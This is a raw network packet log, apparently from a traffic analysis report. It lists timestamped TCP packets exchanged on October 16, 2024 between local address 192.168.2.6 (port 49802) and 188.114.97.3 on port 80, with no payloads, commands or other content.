                                                                                    Oct 16, 2024 10:58:18.929183006 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.929575920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.929639101 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.929766893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.929781914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.929794073 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.929806948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.929836035 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.929836035 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.929918051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.930444956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.930485010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.930574894 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.930644989 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.932982922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.932996035 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.933020115 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.933032036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.933058977 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.933119059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.933125019 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.933222055 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.933348894 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.933393955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.933428049 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.933428049 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.933640957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.933680058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.933700085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.933759928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.933918953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.933933020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.933990002 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.933990002 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.934225082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.934288025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.934300900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.934365034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.934504986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.934612036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.934633017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.934644938 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.934823036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.934897900 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.934900999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.934956074 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.935131073 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.935144901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.935158014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.935169935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.935215950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.935215950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.935406923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.935669899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.935715914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.935775995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.935811996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.935995102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.936045885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.936057091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.936058998 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.936084032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.936096907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.936110020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.936140060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.936140060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.936140060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.936140060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.936191082 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.936944008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.937000036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.937002897 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.937011957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.937022924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.937053919 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.937055111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.937308073 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.937367916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.937377930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.937381029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.937390089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.937458038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.937458038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.937458038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.938221931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.938266993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.938266993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.938280106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.938301086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.938308954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.938313007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.938324928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.938333988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.938333988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.938349009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.938380957 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.960571051 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960674047 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.960735083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960745096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960753918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960762978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960778952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960788012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960798025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960807085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960817099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960828066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960832119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.960832119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.960832119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.960850954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.960859060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960870981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960871935 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.960907936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.960907936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.960946083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960958004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.960995913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.960995913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.024442911 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.024456978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.024467945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.024477959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.024488926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.024746895 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.024746895 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.077794075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077806950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077817917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077827930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077841997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077897072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077907085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077919006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077934980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077946901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077958107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077975988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.077977896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.077977896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.077977896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.077977896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.077986956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.078000069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.078006983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.078017950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.078119993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.078119993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.141700029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.141726971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.141736984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.141748905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.141768932 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.141810894 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.141810894 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.194817066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.194834948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.194850922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.194863081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.194873095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.194883108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.194895029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.194900036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.194900036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.194942951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.194976091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.194986105 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.194996119 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.195048094 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.195048094 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.195074081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.195082903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.195096016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.195110083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.195125103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.195132017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.195132017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.195135117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.195213079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.195213079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.195213079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.195305109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.195314884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.195405960 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.258923054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.258934975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.258945942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.258955956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.258965015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.258995056 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.259021044 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.311909914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.311919928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.311927080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312002897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312014103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312071085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.312071085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.312071085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.312076092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312087059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312104940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312119007 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.312160969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312170982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.312171936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312216997 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.312216997 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.312247992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312259912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312271118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312282085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312294006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.312377930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.312377930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.312377930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.356729984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.356745958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.356755972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.356765032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.356787920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.356787920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.356820107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.376553059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.376564026 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.376574039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.376625061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.376625061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.430605888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430617094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430627108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430635929 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430675983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430689096 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.430689096 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.430691957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430705070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430715084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430731058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.430731058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.430756092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430762053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.430767059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430778027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430818081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.430818081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.430957079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430964947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430970907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430988073 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.430996895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.431008101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.431061983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.431061983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.431061983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.476253986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.476264000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.476274014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.476412058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.476412058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.494302034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.494311094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.494323015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.494381905 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.494381905 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.547625065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547635078 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547643900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547652960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547730923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.547730923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.547780037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547791958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547802925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547811985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547822952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547838926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547900915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547914982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547924995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.547940969 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.547940969 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.547940969 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.547940969 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.547940969 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.547970057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.547970057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.548005104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.548166990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.548176050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.548185110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.548193932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.548202991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.548244953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.548244953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.548244953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.593394995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.593405008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.593414068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.593457937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.613518000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.613528013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.613538027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.613568068 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.613620043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.667376995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.667542934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.667552948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.667654037 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.667682886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.667726040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.667766094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.667776108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.667841911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.667979956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:19.668019056 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:19.668082952 CEST8049802188.114.97.3192.168.2.6
